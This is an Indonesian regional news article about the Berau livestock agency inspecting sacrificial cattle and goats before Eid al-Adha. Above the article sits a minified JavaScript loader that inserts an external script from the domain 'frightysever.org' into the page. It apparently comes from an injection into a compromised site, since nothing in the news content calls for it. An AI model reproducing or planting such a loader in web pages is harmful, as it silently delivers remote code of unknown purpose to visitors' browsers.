(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Jelang Iduladha Dinas Peternakan Berau Cek Kesehatan Hewan Kurban

KANALKALIMANTAN.COM, TANJUNG REDEB – Jelang hari raya Iduladha, Dinas Peternakan Kabupaten Berau melakukan pemeriksaan kesehatan hewan ternak, Selasa (30/5/2023).

Menjaga kesehatan ternak yang keluar masuk di Kabupaten Berau harus benar-benar terjamin dan terjaga kesehatannya.

Kepala Dinas Peternakan Kabupaten Berau Junaidi mengatakan, pihaknya melakukan pemeriksaan kesehatan veteriner heean bekerjasama dengan Kantor Karantina Kesehatan Berau.

“Kami akan terus pantau kesehatan hewan ternak yang hendak dijadikan hewan kurban para Hari Raya Iduladha nanti,” ujar Junaidi kepada Kanalkalimantan.com.

Selain pemeriksaan kesehatan hewan di kandang peternak, saat ini pihaknya juga menerima informasi terkait kedatangan sapi dan kambing yang akan digunakan untuk kurban.

Biasanya sebut Junaidi, hewan ternak yang masuk ke Kabupaten Berau berasal dari Palu, Sulawesi Tengah yang datang melalui jalur laut.

Pemeriksaan hewan ternak jelang hari raya Iduladha di Kabupaten Berau. Foto: ads

“Mendatangkan hewan ternak dari Palu dan Bali, karena masih zona hijau dari kasus penyakit mulut dan kuku,” sebutnya.

“Meski begitu pemeriksaan tetap akan kami lakukan jika hewan kurban tersebut tiba di Berau. Untuk memberi memastikan hewan tersebut tidak terjangkit penyakit apapun,” tegas Junaidi.

Kedatangan hewan ternak saat momen Hari Raya Iduladha memang perlu dilakukan, mengingat hasil ternak lokal saat ini belum mampu memenuhi kebutuhan saat hari raya kurban itu. Pada tahun lalu saja, sebanyak 1.182 ekor sapi dan kambing 451 ekor yang dikurbankan di Kabupaten Berau.

Dijelaskannya, untuk alur, mendatangkan hewan kurban sendiri, para pengusaha saat ini masih dalam proses perizinan rekomendasi pemasukan ternak dari Dinas Peternakan Provinsi Kaltim. Terkait izin lalu lintas juga menjadi kewajiban dan kewenangan provinsi.

“Kami di Berau hanya memfasilitasi atau memberikan surat pengantar, pengurusan izin rekomendasi masuk ternak izinnya di dinas peternakan provinsi,” ujarnya.

Sementara terkait hewan ternak yang sudah diperiksa hasilnya belum dapat disampaikan. “Karena saat ini masih proses pemeriksaan ternak,” pungkasnya. (Kanalkalimantan.com/ads)

Reporter: ads
Editor: kk